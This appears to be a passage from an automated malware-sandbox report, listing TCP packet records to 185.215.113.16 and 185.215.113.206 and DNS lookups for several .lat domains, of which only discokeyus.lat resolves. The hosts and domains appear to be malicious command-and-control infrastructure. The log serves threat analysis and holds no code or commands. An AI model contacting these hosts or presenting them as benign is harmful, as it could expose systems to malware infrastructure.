Dec 20, 2024 17:17:52.631460905 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.631472111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.631483078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.631494999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.631503105 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.631531000 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.632158995 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.632170916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.632180929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.632191896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.632203102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.632208109 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.632214069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.632220984 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.632236958 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.632963896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.632976055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.632987022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.632997990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.633002043 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.633024931 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.633380890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.633393049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.633426905 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.633430004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.633441925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.633452892 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.633464098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.633486986 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.634176970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.634254932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.634267092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.634282112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.634293079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.634304047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.634315014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.634325981 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.634372950 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.635098934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.635112047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.635122061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.635133028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.635143042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.635154009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.635165930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.635179996 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.635190010 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.642493963 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.685882092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.685913086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.685925007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.685988903 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.686045885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.686268091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.686280012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.686316967 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.686464071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.686618090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.686652899 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.686666012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.686676979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.686688900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.686717033 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.687134027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.687145948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.687375069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.687421083 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.687726974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.687807083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.687819004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.687915087 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.687988043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.688004971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.688036919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.688046932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.688074112 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.706336975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.780112982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.780152082 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.780164957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.780230045 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.780323982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.780370951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.780384064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.780395985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.780427933 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.780914068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.780926943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.780940056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.780976057 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.780992985 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.781265020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781286001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781299114 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781311989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781337023 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.781362057 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.781820059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781832933 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781847954 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781872034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781883955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781888008 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.781894922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781908989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.781913042 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.781928062 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.782624960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.782636881 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.782648087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.782658100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.782670975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.782685995 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.782701969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.782716036 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.783184052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.820466042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.820492029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.820502043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.820544958 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.820574045 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.820657015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.820668936 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.820686102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.820698023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.820704937 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.820734978 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.821089029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821155071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821316004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821327925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821336985 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.821338892 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821372032 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.821741104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821753979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821765900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821793079 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.821808100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821820021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821821928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.821835995 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.821851969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.822419882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.822563887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.822577000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.822590113 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.822627068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.822832108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.822849989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.822861910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.822873116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.822897911 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.822926044 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.823371887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.823384047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.823394060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.823414087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.823421955 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.823426008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.823440075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.823476076 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.824194908 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.824208021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.824218988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.824229956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.824249983 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.824265003 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.824568987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.824585915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.824596882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.824614048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.824625969 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.824635983 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.824636936 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.824661016 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.824676037 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.825455904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.825469017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.825479031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.825489998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.825500965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.825514078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.825514078 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.825525999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.825550079 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.826234102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.826287031 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.826316118 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.826328039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.826339006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.826350927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.826361895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.826374054 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.826374054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.826391935 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.826416016 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.827261925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.827280045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.827291012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.827308893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.827328920 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.827351093 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.827368975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.827382088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.827392101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.827425003 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.891957998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892129898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892142057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892317057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892328978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892339945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892350912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892379999 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.892416954 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.892849922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892862082 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892873049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892884016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.892900944 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.892910957 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.893289089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.893307924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.893321037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.893345118 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.893357038 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.893537045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.893779039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.893836021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.893847942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.893858910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.893870115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.893882036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.893887997 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.893915892 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.894368887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.894855976 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.971999884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972045898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972057104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972124100 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.972316980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972327948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972340107 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972352982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972372055 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.972394943 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.972774982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972788095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972835064 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.972906113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972917080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972932100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.972959042 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.972970009 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.973288059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.973299980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.973331928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.973345995 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.973351002 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.973357916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.973370075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.973380089 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.973408937 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.974122047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974133015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974143982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974153996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974165916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974175930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974183083 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.974208117 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.974226952 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.974828959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974896908 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974908113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974922895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974932909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.974958897 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:53.014477015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.014540911 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.014553070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.014563084 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:53.014616966 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:53.014795065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.014834881 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.014847040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.014858007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.014880896 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:53.014904022 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:53.015791893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.015875101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.015886068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.015948057 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:53.016184092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.016191959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.016197920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.016211987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.016244888 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:53.016665936 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.016676903 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.016688108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:53.016755104 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:53.016755104 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:53.245909929 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:56.539999962 CET	49849	80	192.168.2.6	185.215.113.206
Dec 20, 2024 17:17:56.659667015 CET	80	49849	185.215.113.206	192.168.2.6
Dec 20, 2024 17:17:56.659806967 CET	49849	80	192.168.2.6	185.215.113.206
Dec 20, 2024 17:17:56.660610914 CET	49849	80	192.168.2.6	185.215.113.206
Dec 20, 2024 17:17:56.780071974 CET	80	49849	185.215.113.206	192.168.2.6
Dec 20, 2024 17:17:58.007893085 CET	80	49849	185.215.113.206	192.168.2.6
Dec 20, 2024 17:17:58.008985043 CET	49849	80	192.168.2.6	185.215.113.206
Dec 20, 2024 17:17:58.095632076 CET	49849	80	192.168.2.6	185.215.113.206
Dec 20, 2024 17:17:58.216804028 CET	80	49849	185.215.113.206	192.168.2.6
Dec 20, 2024 17:17:58.547003031 CET	80	49849	185.215.113.206	192.168.2.6
Dec 20, 2024 17:17:58.547106981 CET	49849	80	192.168.2.6	185.215.113.206
Dec 20, 2024 17:18:00.070254087 CET	49849	80	192.168.2.6	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:17:13.189456940 CET	60776	53	192.168.2.6	1.1.1.1
Dec 20, 2024 17:17:13.327147007 CET	53	60776	1.1.1.1	192.168.2.6
Dec 20, 2024 17:17:13.338207006 CET	55364	53	192.168.2.6	1.1.1.1
Dec 20, 2024 17:17:13.645999908 CET	53	55364	1.1.1.1	192.168.2.6
Dec 20, 2024 17:17:13.654987097 CET	55312	53	192.168.2.6	1.1.1.1
Dec 20, 2024 17:17:13.798137903 CET	53	55312	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 17:17:13.189456940 CET	192.168.2.6	1.1.1.1	0xd7b4	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:17:13.338207006 CET	192.168.2.6	1.1.1.1	0x5e12	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:17:13.654987097 CET	192.168.2.6	1.1.1.1	0x9b6e	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 17:17:13.327147007 CET	1.1.1.1	192.168.2.6	0xd7b4	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:17:13.645999908 CET	1.1.1.1	192.168.2.6	0x5e12	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:17:13.798137903 CET	1.1.1.1	192.168.2.6	0x9b6e	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:17:13.798137903 CET	1.1.1.1	192.168.2.6	0x9b6e	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
